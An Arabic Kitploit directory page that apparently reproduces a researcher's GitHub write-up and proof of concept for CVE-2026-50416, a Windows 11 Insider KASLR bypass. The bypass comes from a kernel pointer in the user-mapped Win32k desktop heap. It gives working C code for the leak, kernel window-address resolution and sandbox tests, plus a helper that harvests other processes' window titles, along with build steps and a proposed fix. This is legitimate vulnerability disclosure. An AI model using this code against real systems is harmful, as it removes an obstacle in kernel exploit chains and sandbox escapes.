Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-50416-writeup-and-poc — CVE-2026-50416: تجاوز KASLR في Windows 11 | Kitploit
أدوات/GitHubGitHub/karollooool/cve-2026-50416-writeup-and-poc
أطر الاستغلالتحليل الذاكرة الجنائيتحليل الثغرات الأمنيةالاستغلالجمع المعلوماتCTFتحليل الملفات الثنائيةالأوراق والأبحاثالتعلم والتعليم
مختبرات وتدريب عملي
GitHubkarollooool/cve-2026-50416-writeup-and-poc

CVE-2026-50416-writeup-and-poc

CVE-2026-50416: تجاوز KASLR في Windows 11

عرض المستودعالموقع الإلكتروني
4451منذ 23 أيامتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-50416: كلمة QWORD واحدة زائدة في الكومة المكتبية (Desktop Heap)

على إصدار Windows 11 Insider 10.0.28020.2149، كشف تعيين وضع المستخدم للكومة المكتبية Win32k عن مؤشر خام لجلسة النواة عند الإزاحة 0x100.

القراءة نفسها صغيرة بشكل شبه هجومي:

root@kitploit:~
ULONG64 leaked = *(ULONG64 *)(desktop_heap + 0x100);

في جلسة الاختبار الخاصة بي، أعادت ذلك:

root@kitploit:~
0xffffc600dcc00040

ظلت القيمة نفسها عبر العمليات على نفس المكتب وتغيرت بعد إعادة التشغيل. العملية التي تم إطلاقها على مكتب آخر تلقت قيمة مختلفة لأنها كانت تمتلك كومة مكتبية مختلفة. من هذه الكلمة QWORD الواحدة، استعاد إثبات المفهوم (PoC) قاعدة الكومة المكتبية للنواة ثم استخدم user32!gSharedInfo لاشتقاق عناوين النواة لكائنات النوافذ الحية.

عملت القراءة نفسها من سلامة منخفضة (Low integrity)، وAppContainer، وتكوين LPAC بدون قدرات، وطفل AppContainer بسلامة منخفضة بدون قدرات.

من المفترض أن تكون الكومة المكتبية مشتركة. مؤشر النواة ليس كذلك.

الكومة المكتبية من وضع المستخدم

يخزن Win32k كائنات USER مثل النوافذ والقوائم والفئات والخطافات والبيانات الوصفية ذات الصلة في الكومات المكتبية. لكل مكتب كومة خاصة به. يتم تعيين جزء من تلك الكومة في العمليات المرتبطة بالمكتب حتى يتمكن وضع المستخدم من قراءة حالة واجهة المستخدم الرسومية المشتركة دون سؤال النواة عن كل حقل.

على إصدار x64 المختبر، يمكن الوصول إلى تعيين وضع المستخدم من خلال بيانات عميل TEB الخاصة بمؤشر الترابط الحالي:

root@kitploit:~
PVOID teb = (PVOID)__readgsqword(0x30);
PVOID *client_info = (PVOID *)((BYTE *)teb + 0x800);
BYTE *desktop_heap = (BYTE *)client_info[5];

الإزاحات خاصة بالإصدار، لكن المسار بسيط:

root@kitploit:~
GS:[0x30]
    -> TEB
    -> ClientInfo عند TEB + 0x800
    -> ClientInfo[5]
    -> تعيين الكومة المكتبية لوضع المستخدم

يستدعي إثبات المفهوم VirtualQuery على العنوان المُعاد ويسجل المنطقة المعينة وحمايتها. لم يحدث أي خطأ حتى الآن. تعيين كومة مكتبية للقراءة فقط هو سلوك Win32k طبيعي.

تبدأ المشكلة بعد 256 بايت داخلها.

المؤشر عند الإزاحة 0x100

يقرأ إثبات المفهوم الرئيسي كلمة QWORD واحدة من الكومة المعينة:

root@kitploit:~
ULONG64 leaked = *(ULONG64 *)(desktop_heap + 0x100);

اجتازت القيمة الفحوصات الأساسية المتوقعة من عنوان افتراضي للنواة على النظام المختبر:

  • البتات العليا الأساسية (Canonical high bits)
  • محاذاة ثمانية بايت
  • ليست واحدة من قيم الحارس المعروفة التي يفلترها إثبات المفهوم
  • مستقرة أثناء إنشاء وتدمير النوافذ
  • متطابقة في العمليات المختبرة على نفس المكتب
  • مختلفة بعد إعادة التشغيل
  • مختلفة على مكتب آخر

ينشئ اختبار الاستقرار نوافذ STATIC وBUTTON وEDIT، ويقرأ القيمة قبل الإنشاء، ويقرأها مرة أخرى أثناء وجود النوافذ، ويدمرها، ويقرأها مرة ثالثة.

root@kitploit:~
ULONG64 before = *(ULONG64 *)(desktop_heap + 0x100);

HWND w1 = CreateWindowExA(0, "STATIC", "A", WS_OVERLAPPEDWINDOW,
    0, 0, 100, 100, NULL, NULL, GetModuleHandleA(NULL), NULL);
HWND w2 = CreateWindowExA(0, "BUTTON", "B", WS_OVERLAPPEDWINDOW,
    0, 0, 100, 100, NULL, NULL, GetModuleHandleA(NULL), NULL);
HWND w3 = CreateWindowExA(0, "EDIT", "C", WS_OVERLAPPEDWINDOW,
    0, 0, 100, 100, NULL, NULL, GetModuleHandleA(NULL), NULL);

ULONG64 after_create = *(ULONG64 *)(desktop_heap + 0x100);

DestroyWindow(w1);
DestroyWindow(w2);
DestroyWindow(w3);

ULONG64 after_destroy = *(ULONG64 *)(desktop_heap + 0x100);

أعادت القراءات الثلاث نفس القيمة. لم يحركها نشاط تخصيص النوافذ. هذا السلوك متسق مع حقل في بيانات الكومة المكتبية الوصفية وليس مؤشر كائن قصير العمر.

خاصية العبور بين العمليات مهمة بنفس القدر. عمليتان مرتبطتان بنفس المكتب تلاحظان نفس القيمة المسربة لأنهما تنظران إلى نفس الكومة المكتبية. بعد إعادة التشغيل، يمنح KASLR الجلسة عنوانًا جديدًا. طفل موضوع على مكتب آخر يلاحظ مؤشرًا آخر لأن ذلك المكتب يمتلك كومة أخرى.

يمنح ذلك التسريب هوية مفيدة:

root@kitploit:~
نفس الإقلاع + نفس المكتب      -> نفس المؤشر
نفس الإقلاع + مكتب مختلف -> مؤشر مختلف
إقلاع جديد                       -> مؤشر مختلف

استعادة قاعدة الكومة المكتبية للنواة

على الإصدار المختبر، يقع المؤشر المسرب 0x40 بايت فوق قاعدة الكومة المكتبية للنواة المستخدمة من قبل إثبات المفهوم:

root@kitploit:~
ULONG64 kernel_desktop_heap_base = leaked - 0x40;

باستخدام قيمة الجلسة المسجلة:

root@kitploit:~
المؤشر المسرب            = 0xffffc600dcc00040
قاعدة الكومة المكتبية للنواة  = 0xffffc600dcc00000

هذه العلاقة خاصة بالإصدار. بالنسبة للإصدار المستخدم أثناء الاختبار، فإنها تعطي المرساة الجانبية للنواة اللازمة للخطوة التالية.

مؤشر واحد مفيد بالفعل. عنوان كائن محدد أكثر فائدة بكثير.

حل كائن نافذة عبر gSharedInfo

يقوم user32.dll بتصدير gSharedInfo، الذي يكشف قائمة إدخالات مقابض USER وحجم كل إدخال:

root@kitploit:~
typedef struct {
    PVOID psi;
    PVOID aheList;
    ULONG HeEntrySize;
} SHAREDINFO;

SHAREDINFO *shared = (SHAREDINFO *)GetProcAddress(
    GetModuleHandleA("user32.dll"),
    "gSharedInfo"
);

يحتوي HWND على فهرس في جدول مقابض USER. يأخذ إثبات المفهوم البتات الـ 16 المنخفضة من المقبض، ويمشي إلى الإدخال المطابق، ويقرأ إزاحة الكومة المكتبية المخزنة هناك.

root@kitploit:~
ULONG index = (ULONG)(ULONG_PTR)hwnd & 0xffff;
BYTE *entry = (BYTE *)shared->aheList + index * shared->HeEntrySize;
ULONG64 heap_offset = *(ULONG64 *)entry;

نفس الإزاحة تسمي الكائن في كلا التعيينين:

root@kitploit:~
BYTE *user_window = desktop_heap + heap_offset;
ULONG64 kernel_window = kernel_desktop_heap_base + heap_offset;

إذن الحساب الكامل هو:

root@kitploit:~
قاعدة الكومة المكتبية للنواة = desktop_heap[0x100] - 0x40
فهرس المقبض              = HWND & 0xffff
إزاحة الكومة               = aheList[فهرس المقبض].offset
عنوان نافذة النواة     = قاعدة الكومة المكتبية للنواة + إزاحة الكومة

ينشئ إثبات المفهوم ست فئات نوافذ ويقوم بالحساب لكل منها:

  • STATIC
  • BUTTON
  • EDIT
  • LISTBOX
  • SCROLLBAR
  • COMBOBOX

لكل كائن، يطبع HWND وفهرس المقبض وعنوان كائن وضع المستخدم وإزاحة الكومة وعنوان النواة.

root@kitploit:~
HWND
  -> فهرس المقبض المنخفض 16 بت
  -> إدخال مقبض gSharedInfo
  -> إزاحة الكومة المكتبية
  -> قاعدة الكومة المكتبية للنواة + الإزاحة
  -> عنوان النواة لكائن النافذة ذلك

هذا هو الجزء الذي يحول الكشف من مؤشر نواة فضفاض إلى أوراكل عناوين لكائنات USER محددة على الكومة المكتبية المختبرة.

لماذا تهم اختبارات وضع الحماية (Sandbox)

تصل الكومة المكتبية عبر تعيين مشترك. مستويات السلامة وقيود AppContainer لا تعيد كتابة محتويات ذلك التعيين لكل عملية. إذا استلمت العملية الكومة المكتبية، فإنها تستلم كلمة QWORD عند 0x100 معها.

يطلق إثبات المفهوم الخاص بوضع الحماية أطفالًا في عدة سياقات ويجعل كل طفل يقرأ القيمة من TEB الخاص به ومن تعيين الكومة المكتبية الخاص به.

السياقالتكوينالنتيجة
سلامة متوسطةعملية مستخدم قياسيةمسربة
سلامة منخفضةسلامة الرمز المميز مخفضة إلى منخفضةمسربة
AppContainerصفر قدرات مطلوبةمسربة
تكوين LPACجميع حزم التطبيقات بسياسة إلغاء الاشتراك، صفر قدرات مطلوبةمسربة
AppContainer بسلامة منخفضةIL منخفض بالإضافة إلى AppContainer، صفر قدرات مطلوبةمسربة
مكتب بديلطفل معين لمكتب جديدمسربة بقيمة مختلفة

كان الأطفال الخمسة الأوائل مرتبطين بالمكتب الافتراضي وأعادوا نفس العنوان. أعاد طفل المكتب البديل عنوانًا آخر لأنه استلم كومة مكتبية أخرى.

مخرجات الطفل لها تنسيق مضغوط حتى يتمكن الوالد من مقارنة النتائج:

root@kitploit:~
RESULT|LowIL+AppContainer|LEAKED|0xffffc600dcc00040|1|1234

يسجل المساعد الأكثر صرامة أيضًا حالة الرمز المميز وعدد القدرات:

root@kitploit:~
RESULT|LPAC_LowIL_NoCaps|LEAKED|0xffffc600dcc00040|IL=Low|AC=1|caps=0|PID=1234

التفصيل المهم ليس أن الطفل يمكنه استدعاء واجهة برمجة تطبيقات Win32k خاصة. لا يحتاج إليها. بمجرد وجود التعيين، يكون التسريب قراءة ذاكرة عادية في وضع المستخدم.

لا حاجة لإنشاء نافذة

يقوم مساعد منفصل بالقراءة دون استدعاء CreateWindow.

يتحقق من مؤشر الكومة المكتبية، ويقرأ desktop_heap[0x100]، ويحمّل user32.dll صراحةً، ويتحقق من التعيين مرة أخرى، ومع ذلك لا ينشئ نافذة أبدًا. طفل آخر شبيه بالعارض (renderer) يحمّل user32.dll، ويقوم بنفس القراءة، ويخرج دون إنشاء أي نافذة.

النتيجة المفيدة واضحة ومباشرة:

root@kitploit:~
لا يلزم إنشاء أي كائن نافذة قبل قراءة كلمة QWORD المسربة.

ينتمي التسريب إلى تعيين الكومة المكتبية نفسه، وليس إلى نافذة أنشأتها العملية المهاجمة.

الطفل الشبيه بالعارض

supporting_proof_remote_trigger.c ينشئ طفل AppContainer بسلامة منخفضة مع صفر قدرات مطلوبة. يقوم الطفل بقدر صغير فقط من العمل:

root@kitploit:~
LoadLibraryA("user32.dll");

PVOID teb = (PVOID)__readgsqword(0x30);
PVOID *client_info = (PVOID *)((BYTE *)teb + 0x800);
BYTE *desktop_heap = (BYTE *)client_info[5];
ULONG64 leaked = *(ULONG64 *)(desktop_heap + 0x100);

المخرجات المسجلة:

root@kitploit:~
RENDERER|LEAKED|0xffffc600dcc00040|AC=1|IL=0x1000|NoWindowCreated

يوضح ذلك القراءة من تكوين رمز مميز شبيه بالعارض. خطأ تلف ذاكرة منفصل في المتصفح يمنح بالفعل تنفيذ كود أصلي في مثل هذه العملية لن يحتاج إلى كشف معلومات آخر قبل قراءة مؤشر الكومة المكتبية هذا.

ما الذي كان مرئيًا أيضًا في التعيين

بمجرد حصولي على مؤشر موثوق، قمت بفحص المنطقة المعينة لمعرفة ما هو موجود أيضًا.

قيم إضافية بشكل نواة

وجد الماسح ست إلى عشر قيم QWORD فريدة إضافية لكل تشغيل اجتازت نفس فحوصات العنوان الأساسي والمحاذاة. تغير العدد الدقيق مع نشاط المكتب. كانت الإزاحة 0x100 هي التسريب الأساسي المستقر، لكنها لم تكن القيمة الوحيدة بشكل عنوان نواة في التعيين.

عناوين نوافذ من عمليات أخرى

يقوم مساعد البيانات الحساسة بتعداد النوافذ العلوية باستخدام EnumWindows، ويجمع معرّفات العمليات المالكة والعناوين، ثم يبحث في تعيين الكومة المكتبية عن نفس العناوين كسلاسل UTF-16.

في التشغيل المسجل وجد عشرين عنوانًا فريدًا ينتمي إلى عمليات أخرى. تضمنت الأمثلة علامات تبويب المتصفح وDiscord وExplorer وSpotify ونوافذ علبة النظام.

يطبع البرنامج عنوانًا فقط بعد تحقق كلا الشرطين:

  1. السلسلة موجودة في منطقة الكومة المكتبية المعينة.
  2. يبلغ EnumWindows عن نافذة بهذا العنوان ومعرّف عملية مالك مختلف عن عملية الاختبار.

يجعل ذلك المخرجات سهلة التحقق بدلاً من الاعتماد على سلاسل قابلة للطباعة عشوائية موجودة في الذاكرة.

تكرارات معرّفات العمليات

يقوم المساعد أيضًا بفحص قيم DWORD في التعيين. تُحسب القيمة فقط عندما:

  1. تبدو كمعرّف عملية معقول.
  2. ينجح OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION) لها.
  3. يمتلك معرّف العملية أيضًا نافذة وجدها EnumWindows.

وجد التشغيل المسجل 605 تكرارات DWORD مطابقة. هذا عدد تكرارات في الكومة، وليس 605 عمليات فريدة. يمكن أن يظهر نفس معرّف العملية أكثر من مرة.

نص حقل كلمة المرور

ينشئ المساعد عنصر تحكم EDIT مع ES_PASSWORD، ويضبط نصه على SecretPassword123، ويبحث في المنطقة المعينة عن بادئة SecretP. لم يتم العثور عليها في التشغيل المختبر.

إذن كشف التعيين عناوين وتكرارات معرّفات عمليات وقيمًا بشكل نواة، بينما لم تظهر سلسلة كلمة المرور المختبرة هناك.

ما الذي يغيّره التسريب أثناء الاستغلال

بالنسبة لخطأ تلف ذاكرة Win32k، معرفة أن كائنًا موجودًا ليس نفس معرفة أين يعيش في ذاكرة النواة.

بدون الكشف، يتعين على المهاجم التعامل مع قاعدة كومة مكتبية غير معروفة وعناوين كائنات غير معروفة. مع الكشف، يصبح جانب العنوان:

root@kitploit:~
اقرأ كلمة QWORD واحدة
اطرح 0x40
اقرأ إدخال المقبض الهدف
أضف إزاحة الكومة الخاصة به

بالنسبة لـ HWND محدد، أصبح لدى المهاجم الآن عنوان الكومة المكتبية للنواة المقابل على الإصدار المختبر. يمكن أن يساعد ذلك في:

  • تتبع كائن هدف عبر نشاط الكومة
  • تمييز الكائن المقصود عن التخصيصات المجاورة
  • حساب العنوان المستخدم من قبل بدائية قراءة أو كتابة أو تلف منفصلة
  • التحقق مما إذا كان تشكيل الكومة أنتج التخطيط المتوقع
  • إزالة تخمين عنوان الكومة المكتبية من سلسلة استغلال Win32k

يحل التسريب مشكلة العنوان. يظل تشكيل الكومة واستبدال الكائن وبدائية تلف الذاكرة أجزاء منفصلة من الاستغلال.

هذا التقسيم مهم. لا يوقف KASLR تلف الذاكرة. يجعل الاستهداف الموثوق أصعب. تزيل كلمة QWORD هذه عدم اليقين لمنطقة الكومة المكتبية المستخدمة من قبل إثبات المفهوم.

إعادة الإنتاج

البيئة المختبرة

root@kitploit:~
Windows 11 Insider Build 10.0.28020.2149
مستخدم قياسي
خط أساس سلامة متوسطة

الملفات

  • kaslr_bypass_poc.c: إثبات المفهوم الرئيسي للتسريب وحل عنوان النافذة
  • kaslr_sandbox_proof.c: اختبارات IL متوسطة وIL منخفضة وAppContainer وتكوين LPAC وAppContainer بIL منخفض والمكتب البديل
  • supporting_proof_no_window.c: قراءة دون إنشاء نافذة
  • supporting_proof_no_caps_lpac.c: تكوينات AppContainer وLPAC بدون قدرات
  • supporting_proof_sensitive_data.c: العناوين وتكرارات معرّفات العمليات وفحص المؤشرات الإضافية وفحص حقل كلمة المرور
  • supporting_proof_exploitability.c: ست فئات نوافذ وحسابات عناوين النواة
  • supporting_proof_remote_trigger.c: طفل AppContainer بIL منخفض شبيه بالعارض
  • compile.bat: قائمة البناء

الترجمة

شغّل:

root@kitploit:~
compile.bat

اختر الهدف من القائمة.

يمكن أيضًا ترجمة إثبات المفهوم الرئيسي مباشرة من موجه أوامر مطور Visual Studio:

root@kitploit:~
cl /O2 /Fe:kaslr_bypass_poc.exe kaslr_bypass_poc.c /link user32.lib ntdll.lib

التحقق من المؤشر

شغّل إثبات المفهوم الرئيسي مرتين دون إعادة تشغيل:

root@kitploit:~
kaslr_bypass_poc.exe
kaslr_bypass_poc.exe

يجب أن يكون المؤشر عند desktop_heap + 0x100 متطابقًا في كلا التشغيلين.

افتح طرفية ثانية وشغّله من عملية أخرى على نفس المكتب. يجب أن تتطابق القيمة مرة أخرى.

أعد التشغيل وكرر. يجب أن تتغير القيمة.

تشغيل اختبار وضع الحماية

root@kitploit:~
kaslr_sandbox_proof.exe

يطلق الاختبار كل طفل ويلتقط مخرجاته ويقارن القيم المسربة. يجب أن يبلغ الأطفال على المكتب الافتراضي عن نفس القيمة. يجب أن يبلغ طفل المكتب البديل عن قيمة مختلفة.

تشغيل المساعدات المركزة

root@kitploit:~
supporting_proof_no_window.exe
supporting_proof_no_caps_lpac.exe
supporting_proof_sensitive_data.exe
supporting_proof_exploitability.exe
supporting_proof_remote_trigger.exe

يعزل كل مساعد جزءًا واحدًا من النتيجة بحيث يمكن إعادة إنتاجه دون قراءة مخرجات إثبات المفهوم الكامل.

الإصلاح

يجب ألا يحتوي تعيين وضع المستخدم على عناوين افتراضية خام للنواة.

أصغر إصلاح هو تنظيف حقل رأس الكومة المكتبية قبل أن تصبح الصفحة مرئية في وضع المستخدم. يستخدم Windows بالفعل قيمة معتمة 0x6000000000 لحقول مؤشرات الكومة المكتبية الأخرى، لذا يمكن استخدام نفس نمط الاستبدال هنا إذا كان وضع المستخدم لا يزال بحاجة إلى الحقل.

إذا لم يكن وضع المستخدم بحاجة إلى صفحة الرأس، فإن الإصلاح الأنظف هو عدم كشف تلك الصفحة في التعيين المشترك.

اختبار الانحدار بسيط: إنشاء عمليات بتكوينات IL متوسطة وIL منخفضة وAppContainer وLPAC، وتعيين الكومة المكتبية، ورفض أي عنوان نواة أساسي موجود في الرأس المرئي للمستخدم.

الخاتمة

تبدأ السلسلة بأكملها بقراءة عادية واحدة من تعيين للقراءة فقط:

root@kitploit:~
ULONG64 leaked = *(ULONG64 *)(desktop_heap + 0x100);

تحدد كلمة QWORD تلك الكومة المكتبية للنواة. يوفر gSharedInfo الإزاحة لكل كائن. معًا يحولان HWND لوضع المستخدم إلى عنوان النواة المقابل على الإصدار المختبر.

لا يوجد مشغل معقد مختبئ هنا. وضع Windows الكومة المكتبية حيث يمكن لوضع المستخدم قراءتها، ثم ترك مؤشر نواة واحدًا داخل الجزء الذي شاركه.

كانت كلمة QWORD واحدة كافية.

تنزيل الأداة